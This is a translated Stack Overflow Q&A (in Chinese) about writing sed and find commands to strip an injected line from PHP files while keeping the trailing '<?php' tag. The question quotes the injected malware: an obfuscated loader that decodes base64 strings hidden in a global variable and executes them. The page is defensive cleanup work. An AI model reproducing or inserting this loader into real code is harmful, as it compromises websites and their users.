我想删除这些行,因为它是一个注入(inject)代码:
if (!function_exists('openNewOFormatCall')){function openNewOFormatCall($a, $b){$c=$GLOBALS[' '];$d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$useGitFallYCutCodeU=openNewOFormatCall(3851,20);$useGitFallYCutCodeU("", openNewOFormatCall(3873, 3).openNewOFormatCall(565,3283).openNewOFormatCall(3879, 3));};?><?php
我当然可以用语法删除那行:
find -iname "*.php" -exec sed -i '/openNewOFormatCall/d' {} \;
问题是,它还会删除末尾的附加字符 <?php
这是 php 文件正常工作所必需的。所以我想删除这一行并添加新的 <?php
之后。
请指教。
最佳答案
只需使用:
sed 's/.*openNewOFormatCall.*/<?php/' file
如果 ?> 后面的部分是可变的:
sed -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' file
问号需要屏蔽。 (.*) 捕获了 ?> 之后的内容。\1 是对捕获内容的反向引用。
如果它有效,并且在备份有值(value)的数据之后,您将使用 -i
运行它以进行适当的修改,就像您的示例中一样:
find -iname "*.php" -exec sed -i -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' {} \;
关于linux - Bash 在用 sed 删除行后插入字符串,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49706359/